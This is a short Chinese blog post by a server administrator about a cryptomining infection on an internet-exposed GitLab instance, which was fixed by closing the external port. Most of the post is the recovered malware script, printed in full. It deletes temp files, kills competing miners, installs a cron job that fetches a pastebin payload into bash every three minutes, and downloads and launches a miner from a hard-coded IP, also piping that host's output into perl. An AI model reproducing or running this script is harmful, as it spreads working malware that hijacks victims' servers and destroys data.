利用gitlab的漏洞做挖矿

以前不知道谁搞的gitlab搭建好之后即然做了对外的端口映射，导致没两天都会有一些dos攻击，或者是挖矿的在gitlab服务中运行，导致cpu飙高，每次清理后，不超过一天还会继续有。这种问题持续了一个星期，后来发现挖矿的都是一个程序，就把这个挖矿的程序下载下来了，有兴趣的可以研究一下，这个挖矿挺有意思的，使用的python和shell写的。

export PATH=$PATH:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
rm -f /tmp/.*
rm -f /tmp/*
rm -f /dev/shm/*
rm -f /dev/shm/.*
rm -f /var/log/gitlab/gitlab-rails/kthmimu
mkdir /var/log/gitlab/gitlab-rails/kthmimu
chmod -w /var/log/gitlab/gitlab-rails/kthmimu
pkill -9 -f mysqldd
pkill -9 -f monero
pkill -9 -f kinsing
pkill -9 -f sshpass
pkill -9 -f sshexec
pkill -9 -f attack
pkill -9 -f dovecat
pkill kthmimu
pkill JavaUpdate
pkill SSHD2
pkill mysqlserver
pkill gitlab-redis
rm -rf /var/tmp/.*
pkill -9 -f donate
pkill -9 -f 'scan\.log'
pkill -9 -f xmr-stak
pkill -9 -f crond64
pkill -9 -f stratum
pkill -9 -f /tmp/java
pkill -9 -f pastebin
pkill -9 -f /tmp/system
pkill -9 -f excludefile
pkill -9 -f agettyd
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f '\./\.'
pkill -9 -f '118/cf\.sh'
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 'solr\.sh'
pkill -9 '\.rsyslogds'
pkill -9 pnscan
pkill -9 masscan
pkill -9 kthreaddi
pkill -9 sysguard
pkill -9 kthreaddk
pkill -9 kdevtmpfsi
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 watchbog
pkill -9 xmrig
pkill -9 -f /dev/shm
pkill -9 bashirc
pgrep pbotbyjanhotzu | xargs -I % kill -9 %
netstat -antp | grep ':13531'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':33331'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':33332'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':17777'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':3333'  | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
ps aux | grep -v grep | grep 'ldr.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '135.125.217.87' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'while read procid' | awk '{print $2}' | xargs -I % kill -9 %
pkill -9 zgrab
url="https://pastebin.com/raw/f2pYMxn9"
if crontab -l | grep -q "$url"
then
    echo "Cron exists"
else
    crontab -r
    echo "Cron not found"
    echo "*/3 * * * * (curl -fsSL $url||wget -q -O- $url||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url\").read()')| bash -sh" | crontab -
fi
ps -fe | grep kthreaddw | grep -v grep; if [ $? -ne 0 ]; then
    for i in $(ls /proc|grep '[0-9]'); do
      if ls -al /proc/$i 2>/dev/null|grep kthreaddw 2>/dev/null; then
         continue
      fi
      if grep -a 'donate-level' /proc/$i/exe 1>/dev/null 2>&1; then
        kill -9 $i
      fi
      if ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp\|/dev/shm\|/var/log/gitlab/gitlab-rails\|/opt/backup/git_lab_backup"; then
        kill -9 $i
      fi
    done
    ps auxf|grep -v grep | awk '{if($3>=70.0) print $2}'| xargs kill -9
    pkill -9 -f '/tmp/\.'
    mkdir /tmp/.gitlab
    chmod +xwr /tmp/.gitlab
    chmod +xwr /tmp/.gitlab/*
    curl  http://185.158.251.99/45.64.json -o /tmp/.gitlab/config.json
    curl  http://185.158.251.99/45.64.rar -o /tmp/.gitlab/kthreaddw
    curl  http://185.158.251.99/45.640.txt -o /tmp/.gitlabw
    curl -s 185.158.251.99/c|perl
    wget -qO - 185.158.251.99/c|perl
    chmod +x /tmp/.gitlab/kthreaddw
    nohup /tmp/.gitlab/kthreaddw 1>/dev/null 2>&1 &
    nohup bash /tmp/.gitlabw 1>/dev/null 2>&1 &
    chmod -w /tmp/.gitlab
fi

这个挖矿程序的意思点是你清理后，直接会把gitlab停掉，每次清理的时候都会影响gitlab服务，后来吧外网的端口清理掉就没问题了。